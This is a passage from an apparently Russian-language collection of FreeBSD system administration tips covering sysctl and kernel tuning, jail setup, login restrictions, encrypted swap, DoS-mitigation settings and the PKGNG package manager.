    помощью "mdmfs -M". 
    
     
    ----* Кэш TCP запросов во FreeBSD (доп. ссылка 1)   Автор: Антон Южанинов  [комментарии]
     
    Во FreeBSD 5 был добавлен TCP Hostcache - кэш, в котором сохраняются
    характеристики удаленных хостов
    от предыдущих соединений, для предварительной настройки новых подключений к этому же хосту. 
    Это позволяет увеличить скорость работы HTTP (и других протоколов с большим числом 
    котороткоживущих TCP соединений). 
    
    Иногда бывает полезно посмотреть его содержимое. 
    Увидеть его можно через sysctl net.inet.tcp.hostcache.list Просмотр информации по заданному хосту: 
    
       sysctl net.inet.tcp.hostcache.list | egrep '(IP|192.168.1.70)'
    
    Например если MTU в кеше не равно нулю, то с помощью Path MTU
     Discovery для данного хоста было определено MTU меньшее чем у данного хоста. 
    
    Просмотр состояние и параметров hostcache: 
    
       sysctl net.inet.tcp.hostcache
    
    При тестировании производительности бывает нужно очищать этот кэш, между
    различными итерациями теста,
    чтоб он не искажал результаты. Сделать это можно так: 
    
       sysctl net.inet.tcp.hostcache.purge=1
    
    Потом подождать до тех пор, пока net.inet.tcp.hostcache.purge снова не будет показывать ноль.
    
     
    ----* Работа процессов размером более 512Мб во FreeBSD   Автор: MicRO  [комментарии]
     
    Во FreeBSD 6.2 с 4Гб ОЗУ, процесс python'a виснет когда занимает более 512Мб.
    
    Решение:
    В /boot/loader.conf добавляем
       kern.maxdsiz="2610612736"
       kern.dfldsiz="2610612736"
       kern.maxssiz="2610612736"
    
    После чего процесс начинает работать в штатном режиме.
    
     
    ----* Как избавится от роста висящих FIN_WAIT_2 соединений под FreeBSD   [комментарии]
     
    Если используется ipfw2 и keep-state правила, то от непрерывного роста 
    соединений со статусом FIN_WAIT_2 помогает:
       sysctl -w net.inet.ip.fw.dyn_keepalive=0
    
     
    ----* Как увеличить производительность memcached под FreeBSD (доп. ссылка 1)   Автор: fak3r  [комментарии]
     
    Под FreeBSD наблюдаются проблемы производительности при работе
    memcached с объектами размером больше чем несколько килобайт.
    
    Переходим в порт memcached
       cd /usr/ports/databases/memcached/ 
       make configure
    
    Редактируем файл memcached.c
       vi work/memcached-1.1.12/memcached.c
    
    Находим строку #include "memcached.h" и после нее прописываем TCPNOPUSH 
    (заставляет использовать TCPNODELAY):
       #undef TCP_NOPUSH
    
    Устанавливаем и запускаем:
       make install
       echo "memcached_enable=\"YES\"" >> /etc/rc.conf
       /usr/local/etc/rc.d/memcached.sh start
    
     
    ----* Некоторые полезные sysctl переменные для FreeBSD (доп. ссылка 1)   [комментарии]
     
  • security.bsd.* - управление моделью безопасности
    • security.bsd.see_other_uids, security.bsd.see_other_gids - если 1, то пользователи (группы) могут видеть чужие процессы, сокеты и т.д. через ps, netstat, procfs;
    • security.bsd.conservative_signals - если 1, то некоторые сигналы запрещается посылать setuid/setgid процессам;
    • security.bsd.unprivileged_proc_debug - если 1, то пользовательский процесс можно отлаживать через ptrace, procfs, ktrace и т.д..
    • security.bsd.unprivileged_read_msgbuf - если 1, то пользовательский процесс может читать из системного консольного буфера сообщений;
    • security.bsd.hardlink_check_uid, security.bsd.hardlink_check_gid - если 1, то пользователи могут делать hardlink только на собственные файлы;
    • security.bsd.unprivileged_get_quota - если 1, пользователи могут просматривать информацию по установленным для них квотам.
    • vfs.usermount - если 1, то непривилегированный пользователь может монтировать и размонтировать FS, если для устройства выставлены "rw" права и пользователь является владельцем точки монтирования;
  • security.jail.* - ограничения для jail
    • security.jail.set_hostname_allowed - если 1, то внутри jail можно поменять имя хоста;
    • security.jail.socket_unixiproute_only - если 1 , то сокет в jail можно создать только для доменов PF_LOCAL, PF_INET или PF_ROUTE, иначе, возвращается ошибка;
    • security.jail.sysvipc_allowed - если 1, то то в jail можно получить доступ к глобальному System V IPC;
    • security.jail.getfsstatroot_only - если 1, то в jail можно получить информацию (df)только о той файловой системе на которой создан jail;
    • security.jail.allow_raw_sockets - если 1, то в jail можно создавать raw sockets;
    • security.jail.chflags_allow - если 1, то процессы в jail могут модифицировать флаги ФС.
  • IPFW
    • net.link.ether.bridge_ipfw - если 1 и ядро собрано с опциями IPFIREWALL и BRIDGE, то позволяет использовать ipfw для трафика внутри бриджа;
    • net.link.ether.ipfw - если 1, то ipfw2 позволяет фильтровать по MAC адресам;
    • net.inet.ip.fw.autoinc_step - задается число на которое увеличивается счетчик при добавления нового ipfw правила, когда явно не указан его номер;
    • net.inet.ip.fw.debug - если 1, то в логи помещается дополнительная отладочная информация по работе ipfw;
    • net.inet.ip.fw.verbose - если 0, то не отображать работу "log" правил в syslog;
    • net.inet.ip.fw.one_pass - если 1, то просмотр правил ipfw прекращается сразу после подпадание под queue или pipe правило. Если 0, то продолжается обработка далее идущих правил;
  • ICMP, соединение.
    • net.inet.icmp.icmplim - задается максимальное число ICMP "Unreachable" и TCP RST пакетов, которое может быть отправлено в секунду, net.inet.icmp.icmplim_output=0 позволяет не отражать в логах факты превышения лимита;
    • net.inet.tcp.icmp_may_rst, если 1, то TCP соединения со статусом SYN_SENT, могут быть оборваны посредством сообщения "ICMP unreachable";
    • net.inet.ip.redirect - если 0, то нет реакции на ICMP REDIRECT пакеты;
    • net.inet.icmp.log_redirect - если 1, то все ICMP REDIRECT пакеты отражаются в логе;
    • net.inet.icmp.drop_redirect - если 1, то ICMP REDIRECT пакеты игнорируются;
    • net.inet.tcp.icmp_may_rst - если 1, то игнорируются ICMP сообщения от блокировки пакета по пути;
    • net.inet.icmp.bmcastecho - для защиты от SMURF атак (ICMP echo request на broadcast адрес) нудно поставить 0;
  • Тюнинг сетевой подсистемы, борьба с DoS атаками
    • net.inet.tcp.log_in_vain, net.inet.udp.log_in_vain - если 1, отражаем в логе попытки соединения к портам, для которых нет активных сервисов;
    • net.inet.tcp.blackhole - если 1, то SYN пакеты пришедшие на порты для которых нет активных сервисов, остаются без RST ответа, если 2, то на любые пакеты нет ответа (затрудняет сканирования портов);
    • kern.ipc.nmbclusters - если по "netstat -m" mbufs в "peak" приближается к "max", то число сетевых буферов нужно увеличить (kern.ipc.nmbclusters=N в /boot/locader.conf);
    • net.inet.ip.forwarding - если 1, то машина может форвадить пакеты между интерфейсами;
    • net.inet.tcp.sack.enable - если 1, то включен TCP Selective Acknowledgements (SACK, RFC 2018) позволяющий увеличить производительность системы в ситуации большой потери пакетов;
    • net.link.ether.inet.max_age - время жизни записи в IP route кэше, рекомендуется уменьшить для ослабления эффекта от DoS атак через ARP флуд;
  • Оборудование и системная информация
    • dev.cpu.0.freq_levels - выдает список поддерживаемых частот, на которые можно переключить CPU, путем указание нужной частоты через dev.cpu.0.freq;
    • hw.snd.maxautovchans, hw.snd.pcm0.vchans - задается число виртуальных звуковых каналов, для каждого из которых может быть отдельный источник звука (на выходе они будут смикшированы);
    • kern.boottime - время последней загрузки системы;
    • kern.disks - список дисков в системе;
    • kern.geom.debugflags, для работы boot0cfg и подобных утилит нужно установить в 16;
  • Изменение и тюнинг системных ограничений
    • kern.coredump - если 0, то при крахе приложения не будут создаваться core файлы, формат имени и путь для которых задается через kern.corefile (например: /tmp/%U.%N.core). kern.sugid_coredump=0 позволяет запретить генерацию core suid/sgid процессами;
    • kern.maxfiles - максимально допустимое число открытых файлов (файловых дескрипторов), текущее число открытых файлов можно посмотреть через kern.openfiles;
    • kern.maxprocperuid - максимально допустимое число процессов, которое может быть запущено из-под одного пользователя;
    • kern.maxvnodes - максимальное число vnode для кеширования дисковых операций, текущее значение можно посмотреть через vfs.numvnodes или debug.numvnodes/debug.freevnodes;
  • SMP (FreeBSD 5)
    • kern.smp.maxcpus (machdep.smp_cpus) - максимальное число процессоров, поддерживаемое текущей сборкой ядра;
    • kern.smp.active, kern.smp.disabled - число активных и выключенных CPU;
    • kern.smp.cpus (machdep.smp_active) - сколько CPU в online;
    • kern.smp.forward_signal_enabled - включить возможность мгновенной пересылки сигнала для процессов выполняемых в данный момент времени на разных CPU;
    • kern.smp.forward_roundrobin_enabled;
  • ARP
    • net.link.ether.inet.log_arp_movements - отражать в логе все широковещательные ARP пакеты с хостов MAC адрес которых отсутствует в локальном ARP кэше;
    • net.link.ether.inet.log_arp_wrong_iface - отражать в логе все ARP пакеты пришедшие с неправильного интерфейса;
  •  
    ----* Включение Device Polling в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man polling - периодических опрос состояния ядром, вместо генерации прерываний 
    (полезно при очень большом числе пакетов проходящих через сетевую карту), 
    возможен комбинированный вариант, когда polling включается при преодалении
    определенного порога нагрузки).
    В конфигурации ядра
       options DEVICE_POLLING
       options HZ=1000
    Далее:
       sysctl kern.polling.enable=1
       sysctl kern.polling.user_frac=50
    
     
    ----* Как оценить величину трафика и состояние системы в динамике для FreeBSD   [комментарии]
     
    Динамика изменения параметров:
    
       netstat -w 1
       iostat -w 1
       vmstat -w 1
       gstat
    
    Состояние буферов:
    
       vmstat -z
       netstat -m
       netstat -Lan
       netstat -s -p tcp
    
     
    ----* Как под FreeBSD создать файловую систему в памяти (ramdisk)   [комментарии]
     
    man mount_mfs
       mount_mfs -s 614400 /dev/amrd0s1b /usr/obj
    где /dev/amrd0s1b - swap раздел, 614400 - размер MFS диска N*1024*2 (614400 == 300mb).
    
     
    ----* Что изменить в настройках конфигурации ядра FreeBSD для нагруженного сервера.   [комментарии]
     
      maxusers 512
      options  NMBCLUSTERS=16786
      options  NBUF=2048
      options  CHILD_MAX=512
      options  OPEN_MAX=512
      options  "MAXDSIZ=(512*1024*1024)"
      options  "DFLDSIZ=(128*1024*1024)"
      options  IPFIREWALL
      options  IPFIREWALL_FORWARD
      options  IPFIREWALL_DEFAULT_TO_ACCEPT
      options  SOFTUPDATES
    
     
    ----* Как в FreeBSD посмотреть состояние системных буферов   [обсудить]
     
    sysctl vm.zone
    
     
    ----* Как включить Soft-updates в FreeBSD для увеличения производительности   [комментарии]
     
    1. Перейти в single режим
    2. Убедится, что раздел диска размонтирован.
    3. tunefs -n enable раздел (например, tunefs -n enable /usr )
    
     
    ----* Как в FreeBSD узнать значения LoadAverage, объем свободного ОЗУ и т.д.   [комментарии]
     
    sysctl vm.stats.vm.v_active_count
    sysctl vm.stats.vm.v_inactive_count
    sysctl vm.stats.vm.v_wire_count
    sysctl vm.stats.vm.v_cache_count
    sysctl vm.stats.vm.v_free_count
    sysctl vm.stats.vm.v_page_count
    более подробно: 
    	sysctl -a|grep vm
    	sysctl| less
    
     
    ----* Как узнать аппаратную конфигурацию (ОЗУ, CPU и т.д.) машины под FreeBSD   [комментарии]
     
    sysctl -a | grep hw
    
     
    ----* Как увеличить производительность дисковой подсистемы FreeBSD.   [комментарии]
     
    По умолчанию запись на диски в FreeBSD производится в синхронном режиме,
    значительно увеличить скорость записи
     можно активировав асинхронный режим: В /etc/fstab в поле Options добавить async (например rw,async).
    Или для примонтированного раздела: mount -u -o async /home
    Для увеличения производительности IDE дисков, в файле конфигурации ядра можно
    указать для wdc устройств
    flags 0xa0ffa0ff или 0x80ff80ff (подробнее man wd, man ad).
    Для ad: sysctl hw.atamodes; sysctl hw.ata
    Например: sysctl hw.atamodes=pio,pio,---,dma,pio,---,dma,---,
    См. также man atacontrol 
    Третий вариант - активировать в настройках ядра SOFTUPDATES и запустить 
    tunefs -n enable /usr в single-user на размонтированном разделе.
    
     
    ----* Как увеличить количество shared memory для работы высоконагруженного PostgreSQL   [комментарии]
     
    В linux:
    echo 134217728 >/proc/sys/kernel/shmall
    echo 134217728 >/proc/sys/kernel/shmmax
    В конфиге ядра FreeBSD:
    options         SYSVSHM
    options         SHMMAXPGS=4096
    options         SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
    options         SHMMIN=2    
    options         SHMMNI=256
    options         SHMSEG=256  
    options         SYSVSEM     
    options         SEMMAP=512  
    options         SEMMNI=512  
    options         SEMMNS=1024 
    options         SEMMNU=512  
    options         SEMMSL=256  
    options         SEMOPM=256  
    options         SEMUME=64   
    options         SYSVMSG     
    options         MSGMNB=8192 
    options         MSGMNI=256  
    options         MSGSEG=8192 
    options         MSGSSZ=16   
    options         MSGTQL=128  
    options         NMBCLUSTERS=16786
    options         NBUF=2048
    maxusers        512
    
     
    ----* Решение проблемы при отказе работы Skype за шлюзом с изменённым TCP MSL   Автор: Крепышик  [комментарии]
     
    Есть несколько офисов, выходящих в интернет через шлюз с FreeBSD + ipfw +
    ipnat. После тюнинга сетевой подсистемы шлюза перестал работать скайп во вне. С
     внутриофисными контактами связь работала видимо потому что скайп соединяется
    напрямую с ними.
    
    В результате поиска причины - выяснилось что виной тому была переменная sysctl:
    
       net.inet.tcp.msl=5000 
    
    время которое соединение может пребывать в состоянии TIME_WAIT. (T = msl*2/1000 секунд) 
    
    После возврата на исходное значение 30000 (T=60 сек.) Skype снова заработал.
    
     
    ----* Что имеет смысл поменять через sysctl в FreeBSD   [комментарии]
     
    /sbin/sysctl -w net.inet.ip.forwarding=0
    /sbin/sysctl -w net.inet.tcp.always_keepalive=1
    /sbin/sysctl -w kern.ipc.somaxconn=1024
    /sbin/sysctl -w net.inet.tcp.delayed_ack=0
    /sbin/sysctl -w net.inet.ip.portrange.last=30000
    /sbin/sysctl -w net.inet.tcp.sendspace=131072 # подогнать размер под средний
    объем блока передаваемых данных. 131072 - для отдачи больших файлов.
    /sbin/sysctl -w net.inet.tcp.recvspace=131072 # подогнать размер под средний
    объем блока принимаемых данных. 131072 - для приема больших файлов.
    #/sbin/sysctl -w net.inet.tcp.rfc1644=1
    #/sbin/sysctl -w net.inet.tcp.rfc1323=0
    #/sbin/sysctl -w net.inet.icmp.drop_redirect=1
    #/sbin/sysctl -w net.inet.icmp.log_redirect=1
    #/sbin/sysctl -w net.inet.ip.redirect=0
    #/sbin/sysctl -w net.inet6.ip6.redirect=0
    /sbin/sysctl -w net.link.ether.inet.max_age=1200
    /sbin/sysctl -w net.inet.ip.sourceroute=0
    /sbin/sysctl -w net.inet.ip.accept_sourceroute=0
    /sbin/sysctl -w net.inet.icmp.bmcastecho=0
    /sbin/sysctl -w net.inet.icmp.maskrepl=0
    
     

       Увеличение безопасности FreeBSD

    ----* Быстрое создание jail-машины во FreeBSD (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Нам понадобится первый установочный диск FreeBSD 6.2 и немного свободного времени. 
    Предполагается что наша jail-машина будет размещена в директории /var/jail.
    
    Список действий:
    
    1. Создать директорию /var/jail/machine для jail-машины;
    
    2. Смонтировать установочный диск и распаковать базовые файлы в директорию jail-машины:
    
       # mount /cdrom
    
    для bash:
    
       # DESTDIR=/var/jail/machine /cdrom/6.2-RELEASE/base/install.sh
    
    для csh:
    
       # env DESTDIR=/var/jail/machine /cdrom/6.2-RELEASE/base/install.sh
    
    3. Создать пустой файл /var/jail/machine/etc/fstab:
    
       # touch /var/jail/machine/etc/fstab
    
    4. Создать файл /var/jail/machine/etc/rc.conf со следующим содержанием:
    
       # Запускаем sshd
       sshd_enable="YES"
       sendmail_enable="NONE"
       syslogd_flags="-ss"
       rpcbind_enable="NO"
       network_interfaces=""
    
    5. Теперь требуется создать непривилегированного пользователя и    изменить
    пароль пользователя root.
    Входим в каталог jail-машины
    
       # chroot /var/jail/machine /bin/csh
    
    Создаем пользователя
    
       # adduser
    
    Меняем пароль пользователя root
    
       # passwd
       # exit
    
    6. В файл /etc/rc.conf основной системы добавить:
    
       # Разрешаем запуск jail-машин
       jail_enable="YES"
       # Запрещаем им менять свое имя jail_set_hostname_allow="NO"
       # Перечисляем jail-машины в системе.
       jail_list="machine"
    
       # Jail-машина "machine"
       # Корневая директория jail_machine_rootdir="/var/jail/machine"
       # Имя jail_machine_hostname="machine.local"
       # IP-адрес jail_machine_ip="192.168.0.10"
       # На какой сетевой интерфейс будет цепляться jail-машина  
       jail_machine_interface="ed0"
       # монтируем файловую систему devfs внутри jail-машины. 
       jail_machine_devfs_enable="YES"
       # Скрипты запуска и останова 
       jail_machine_exec_start="/bin/sh /etc/rc"
       jail_machine_exec_stop="/bin/sh /etc/rc.shutdown"
    
    7. Кроме того требуется все запускаемые сервисы основной системы привязать к его ip-адресам 
    (не должны слушаться порты на ip-адресах jail-машин).
    Например, в rc.conf:
    
       # Супер-сервер inetd
       inetd_enable="YES"
       # Слушает порт только на 192.168.0.1
       inetd_flags="-wW -a 192.168.0.1"
       # Syslogd
       syslogd_enable="YES"
       # Не слушать порты
       syslogd_flags="-ss"
    
    8. Запускаем созданную jail-машину:
    
       # /etc/rc.d/jail start
    
     
    ----* Использование login.access в FreeBSD 5.x и 6.x   Автор: 135all  [обсудить]
     
    В FreBSD есть прекрасная возможность разрешать логинится конкретным пользователям 
    только с определённых терминалов или адресов. Делается это посредством модуля pam_acct_mgmt. 
    
    Для этого редактируем файл /etc/login.access:
    
       -:root:ALL #запрещаем любые логины root
       -:ALL:ttyv0 # первая консоль только для логов
       +:dm:ttyv1 ttyv2 ttyv3 ttyv4 ttyv5 ttyv6 ttyv7 ttyv8 # доступ с консоли
       +:dm:10.1.1.1 192.168.6.100 # доступ по сети(тут указывать либо ip, либо 
            # доменное имя. Для ssh рекомендую UseDNS no в /etc/ssh/sshd_config)
       -:ALL:ALL # всё остальное запрещено
    
    ВАЖНО! начиная с версии 5.2 su стал проверять "target user" по login.access, те
    при таких настройках
    можно будет залогинится, но su не будет работать - pam_login_access: 
       pam_sm_acct_mgmt: root is not allowed to log in on /dev/ttyp3 su: Sorry. 
    
    Для исправления надо редактировать /etc/pam.d/su:
    
       account
       #account                include         system #закомментировать
       account         required        pam_unix.so # добавить
    
     
    ----* Шифрованный swap в FreeBSD 6.0   Автор: neozoid  [комментарии]
     
    Добавить в /boot/loader.conf:
       geom_eli_load="YES"
    
    или в конфиг ядра:
       device crypto
       options GEOM_ELI
    
    в fstab к разделу swap к "Device" дописать ".eli" например:
       # Device                Mountpoint      FStype  Options         Dump    Pass#
       #/dev/ad0s3b            none            swap    sw              0       0
       /dev/ad0s3b.eli         none            swap    sw              0       0
    
    при загрузке имеем:
       GEOM_ELI: Device ad0s3b.eli created.
       GEOM_ELI:     Cipher: AES
       GEOM_ELI: Key length: 256
       GEOM_ELI:     Crypto: software
    
    и в моем случае:
       %pstat -s
       Device          1K-blocks     Used    Avail Capacity
       /dev/ad0s3b.eli   1048576        0  1048576     0%
    
     
    ----* Как запретить создание символических линков в /tmp   [комментарии]
     
    FreeBSD: В графе "Option" /etc/fstab для раздела /tmp нужно указать:
       rw,noexec,nosuid,nodev,nosymfollow
    
    Для Linux: Openwall patch (http://openwall.com/) + CONFIG_SECURE_LINK + chmod +t /tmp
    
     
    ----* Как в FreeBSD включить Blowfish шифрование паролей вместо DES и MD5   [комментарии]
     
    В /etc/login.conf:  
    	:passwd_format=blf:\
    cap_mkdb /etc/login.conf
    
     
    ----* Как в FreeBSD запретить свободный вход как root с консоли через boot -s   [обсудить]
     
    В /etc/ttys поменяйте secure на insecure в строке:
         console none   unknown off secure
    
     
    ----* Предотвращение DoS атак в FreeBSD (доп. ссылка 1)   Автор: bsdportal.ru  [комментарии]
     
    * "sysctl -w net.inet.tcp.msl=7500" - время ожидания ACK в ответ на SYN-ACK или
    FIN-ACK в миллисекундах;
    * "sysctl -w net.inet.tcp.blackhole=2" -  все пакеты на закрытый порт
    отбрасываются без отсылки RST;
    * "sysctl -w net.inet.udp.blackhole=1" - отбрасывать пакеты для  закрытых портов;
    * "sysctl -w net.inet.icmp.icmplim=50" - защита от генерирование потока ответных пакетов, 
          максимальное количество  ICMP Unreachable и TCP RST пакетов в секунду;
    * "sysctl -w kern.ipc.somaxconn=32768" - увеличение числа одновременно открытых сокетов;
    * Сборка ядра с опцией DEVICE_POLLING (далее: sysctl kern.polling.enable=1;
    sysctl kern.polling.user_frac=50);
    
     

       Установка и апгрейд FreeBSD и приложений.

    ----* Решение проблемы при установке FreeBSD на HP (Compaq) ProLiant DL360   Автор: else  [комментарии]
     
    При установке ОС с диска во время определения дисков появляется ошибка 
    "BTX halted".
    Для ее устранения нужно отключить в BIOS опцию Virtual install disk.
    
     
    ----* Режим автоматической установки обновлений в portmaster   Автор: globus  [комментарии]
     
    При обновлении php на нескольких десятках серверов возникла проблема с ручным
    подтверждением операций. Обновление PHP потянуло за собой по 28-40
    обновлений/новых пакетов. В процессе обновления Portmaster постоянно
    спрашивает, удалять резервную копию предыдущего пакета или нет. Переключение по
    окнам между десятками серверов и нажатие кнопок n+enter существенно
    затормаживало процесс и изрядно выводило из себя.
    
    Вот пример команды с параметрами, которые позволяют автоматизировать процесс обновления:
    
       portmaster --no-confirm -y -b -d php pecl
    
    Само собой, "-y" или "-n" выбирает каждый для себя.
    
     
    ----* Использование пакетного менеджера PKGNG во FreeBSD (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    Не секрет что отсутствие в OS FreeBSD современного пакетного менеджера
    тормозит и сдерживает не только систему работы с портами, но и развитие
    системы в целом.
     Несомненно старый пакетный менеджер, написанный на СИ Джорданом Хаббардом,
    был революционным шагом в начале 90'ых, легкий, быстрый, надежный и простой.
    
     Но современные условия выдвигают новые требования, что и послужило
    толчком для создания нового пакетного менеджера и дабы прекратить споры
    и разногласия среди разработчиков и сообщества FreeBSD, которые
    ведутся на протяжении, примерно 10 лет или больше.
    
     Если кто-то решит что за это время можно было разработать несколько
    пакетных менеджеров, удовлетворяющих современным требованиям и
    тенденциям, возможно, но в рамках концепции развития проекта FreeBSD
    это, к сожалению, не так.
    
    прим: данное описание не претендует на серьезное руководство и может
    содержать повторы, точнее выжимки ранее изложенного в стиле "коротко"
     Суть - показать на примерах как лучше и удобней пользоваться
    новым пакетным менеджером PKGNG.
    
    Коротко о достижения пакетного менеджера PKGNG:
    
    - использование db для регистрации и хранения данных об
      установленных пакетах (sqlite)
    - использование одного или нескольких репозиториев
    - использование yaml для описания пакета
    - интерфейс для сторонних порт менеджеров
    - создание backup и отката
    - аудит
    - и тд и тп
    
    Ссылки:
    
      - http://wiki.freebsd.org/pkgng
      - http://wiki.freebsd.org/PkgPrimer
      - https://github.com/pkgng/pkgng/blob/master/FAQ.md
      - http://people.freebsd.org/~bapt/pres-pkgng-bsdcan.pdf
      - http://www.youtube.com/watch?v=4Hxq7AHZ27I
      - http://wiki.freebsd.org/pkgng
      - http://wiki.freebsd.org/PkgPrimer
      - https://github.com/pkgng/pkgng/blob/master/FAQ.md
      - http://people.freebsd.org/~bapt/pres-pkgng-bsdcan.pdf
      - http://www.youtube.com/watch?v=4Hxq7AHZ27I
    
    Сообщить об ошибках можно на github трекер:
      - http://github.com/pkgng/pkgng
    
    Третичный софт поддерживающий работу с новым пакетным менеджером pkgng:
    
    "из коробки":
    
      - ports-mgmt/portupgrade-devel (soon the main portupgrade will support)
      - ports-mgmt/pkg_cutleaves
      - ports-mgmt/poudriere
      - ports-mgmt/poudriere-devel
      - ports-mgmt/portdowngrade
      - ports-mgmt/tinderbox-devel (support can be improved)
      - ports-mgmt/portbuilder
      - sysutils/bsdstats
    
    используя патчи:
    
      - ports-mgmt/portmaster
        https://github.com/pkgng/pkgng/blob/master/ports/patch-portmaster-pkgng
    
    инструментарий который будет или уже поддерживает работу с pkgng:
    
      - salt support (in version 0.10)
        http://docs.saltstack.org/en/latest/ref/states/all/salt.states.pkgng.html
        и 
        http://docs.saltstack.org/en/latest/ref/modules/all/salt.modules.pkgng.html
      - cfengine support (http://unix-heaven.org/cfengine3-freebsd-pkgng)
      - puppet support: (https://github.com/xaque208/puppet-pkgng)
      - ruby bindings: (https://github.com/baloo/libpkg-ruby/)
      - PackageKit
    
     В системе, начиная с 9.1 находится пусковик /usr/sbin/pkg - который
    смотрит переменные PACKAGESITE,PACKAGEROOT и использует их для
    задания репозитория и запускает УСТАНОВКУ pkg (Bootsrapping) из портов.
    
     Если переменные не определены, использует заданные в pkg.conf
    или встренные в пусковик (/usr/src/usr.sbin/pkg/pkg.c):
    
       #define _LOCALBASE "/usr/local"
       #define _PKGS_URL "http://pkgbeta.FreeBSD.org"
    
       $PACKAGESITE/Latest/pkg.txz
    
    или
    
       $PACKAGEROOT/latest/Latest/pkg.txz
    
    или (pkg.conf)
     
       packagesite: http://pkgbeta.FreeBSD.org/freebsd:9:x86:64/latest
    
       /usr/ports/ports-mgmt/pkg
    
    для использования пакетного менеджера pkg, после его установки, необходимо
    добавить переменную WITH_PKGNG=yes в /etc/make.conf.
    
    Необходимо напомнить еще одно важное событие - изменение опций сборки
    в портах, точнее, создание нового фреймворка для портов - OPTIONSNG.
    
    скрипт:
    /usr/ports/Tools/scripts/options2ng.sh - создает backup OPTIONS
    базы портов (/var/db/ports) и конвертирует их в новый формат
    
    например:
    
    сконвертировать отдельный файл:
    
       # /usr/ports/Tools/scripts/options2ng.sh -f /tmp/make.conf
    
    создать /tmp/optionsbackup.tar.gz и сконфертировать все OPTIONS в
    /var/db/port*/options в новый формат:
    
       # /usr/ports/Tools/scripts/options2ng.sh -p
    
    Вы можете пропустить короткое описание фреймворка OPTIONSNG
    
    Немного о framework OPTIONSNG
    
    файл KNOB в портах - устаревшая технология, которая заменена на bsd.options.desc.mk.
    
    Ниже будет, возможно устаревшая информация основанная на материалах
    конференций:
    
    новый framework для указания опций сборок портов: OptionsNG Framework
    
    http://people.freebsd.org/~bapt/optionsng.pdf     (eurobsd conf 2011)
    http://people.freebsd.org/~bapt/pres-optionng.pdf (bsdcon 2012)
    
    актуальную информацию можно найти:
    
    http://wiki.freebsd.org/Ports/Options/OptionsNG
    http://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/makefile-options.html#AEN2598
    
    текущие проблемы и несовместимость:
    
    - на текущий момент в опциях могут быть только две переменные
      WITH_FOO и WITHOUT_FOO
    - их значения не проверяются
    - несовместимость использования
    
    предложение:
    
    - простые опции (on или off)
    - сложные опции: по крайней мере 1 для N
    - простые: 1 и только 1 опция для N (исключительно)
    - каждая опция может иметь описание
    - опции maintainer'ов
    - системные опции
    - OPTIONS_DEFINE: port, maintainer
    - OPTIONS_DEFAULT: port, maintainer
    - OPTIONS_EXCLUDE: port, maintainer
    - OPTIONS_OVERRIDE: break everything
    - OPTIONS_SET= OPT1: user, make.conf
    - OPTIONS_UNSET= OPT1: user, make.conf
    - ${UNIQUENAME}_SET= OPT1 (zsh_SET) user, make.conf
    - ${UNIQUENAME}_UNSET= OPT1 (zsh_SET) user, make.conf
    - generic options desciptions - как это сейчас сделано в файле KNOBS
    
    совместимость
    
    1/ set the default global options
    2/ removes any global via OPTIONS_EXCLUDE
    3/ OPTIONS_DEFAULT: override previous
    4/ system-wide OPTIONS_(UN)SET
    5/ ${UNIQUENAME:U}_(UN)SET
    6/ compatibility: /var/db/ports/${UNIQUENAME}/options
       (note: usage of OPTIONS+= is deprecated)
    6/ new /var/db/ports/${UNIQUENAME}/options from dialog ui
    7/ automatic consistency check
    
    пример:
    
       OPTIONS_DEFINE= OPT1 OPT2 OPT3
       OPTIONS_MULTI= GRP1 GRP2
       OPTIONS_MULTI_GRP1= OPT4 OPT5
       OPTIONS_MULTI_GRP2= OPT6 OPT7
    
       OPTIONS_SINGLE= SEL1
       OPTIONS_SINGLE_SEL1= OPT8 OPT9 OPT10
       OPTIONS_DEFAULT= OPT2 OPT3 OPT9 OPT7 OPT8 OPT4
       OPTIONS_EXCLUDE= NLS DOCS
    
       OPT1_DESC= "Description of my option"
    
       # make show-config
    
       ===> The following configuration options are available:
       OPT1=off: Description of my option
       OPT2=on
       OPT3=on
       ====> Options available for the MULTI GRP1: you must choose
          at least one of them
       OPT4=on
       OPT5=off
       ====> Options available for the MULTI GRP2: you must choose
          at least one of them
       OPT6=off
       OPT7=on
       ====> Options available for the single SEL1: you must select
          only on of them
       OPT8=on
       OPT9=off
       OPT10=off
    
       # make pretty-print-config:
       -OPT1 +OPT2 +OPT3 GRP1[ +OPT4 -OPT5 ] GRP2[ -OPT6 +OPT7 ] \\
       SEL1( +OPT8 +OPT9 -OPT10 )
    
       # make check-config
       ====> You should select one and only one options from the \\
       SEL1 single
         *** Error code 1
    
    проверка опций в портах:
    
       .if !empty(PORTS_OPTIONS:MOPT1)
            @${ECHO_CMD} "the option OPT1 is set (aka on)"
       .else
            @${ECHO_CMD} "the option OPT1 is not set (aka off)"
       .endif
    
    
       
    Продолжение о пакетном менеджере PKGNG
    
    Итак, после установки пакетного менеджера PKGNG в систему, чтобы перейти
    на его использование, необходимо добавить в /etc/make.conf:
    
       WITH_PKGNG=yes
    
    пример вызова пусковика, который предлагает установку pkg из портов:
    
       # pkg -v
       The package management tool is not yet installed on your system.
       Do you want to fetch and install it now? [y/N]: y
       Bootstrapping pkg please wait
       Installing pkg-1.0.r5_1... done
       If you are upgrading from the old package format, first run:
    
         $ pkg2ng
       1.0-rc5
       #
    
    после установки из портов /usr/ports/ports-mgmt/pkg в систему и
    соответствующих настроек в /etc/make.conf, если у нас в /var/db/pkg
    уже находятся ранее установленные пакеты в старом формате pkg_add,
    необходимо:
    
    1) лучше руками сделать backup /var/db/pkg
    2) запустить pkg2ng - утилита сделает backup /var/db/pkg.bak
    и сконвертит ранее установленные пакеты в новом формате pkgng:
    
       # ls -la /var/db/pkg/
       total 84320
       drwxr-xr-x  2 root  wheel       512 Sep  1 21:56 .
       drwxr-xr-x  8 root  wheel       512 Sep  1 20:16 ..
       -rw-r--r--  1 root  wheel    120832 Sep  1 21:56 local.sqlite
       -rw-r--r--  1 root  wheel  86149120 Sep  1 20:20 repo.sqlite
       # 
    
    в июле 2012 порты перевели на новый Framework OPTIONSGS, утилита pkg-config
    была заменена на pkg-conf, всвязи с этими изменениями необходимо:
    
    - после апгрейда портов (/usr/ports), посмотреть внимательно
    /usr/ports/UPDATING (это нужно делать регулярно при апгрейде дерева портов)
    заменить pkg-cconfig на pkgconf:
    
       # portmaster -o devel/pkgconf devel/pkg-config
    
       или
    
       # pkg set -o devel/pkg-config:devel/pkgconf
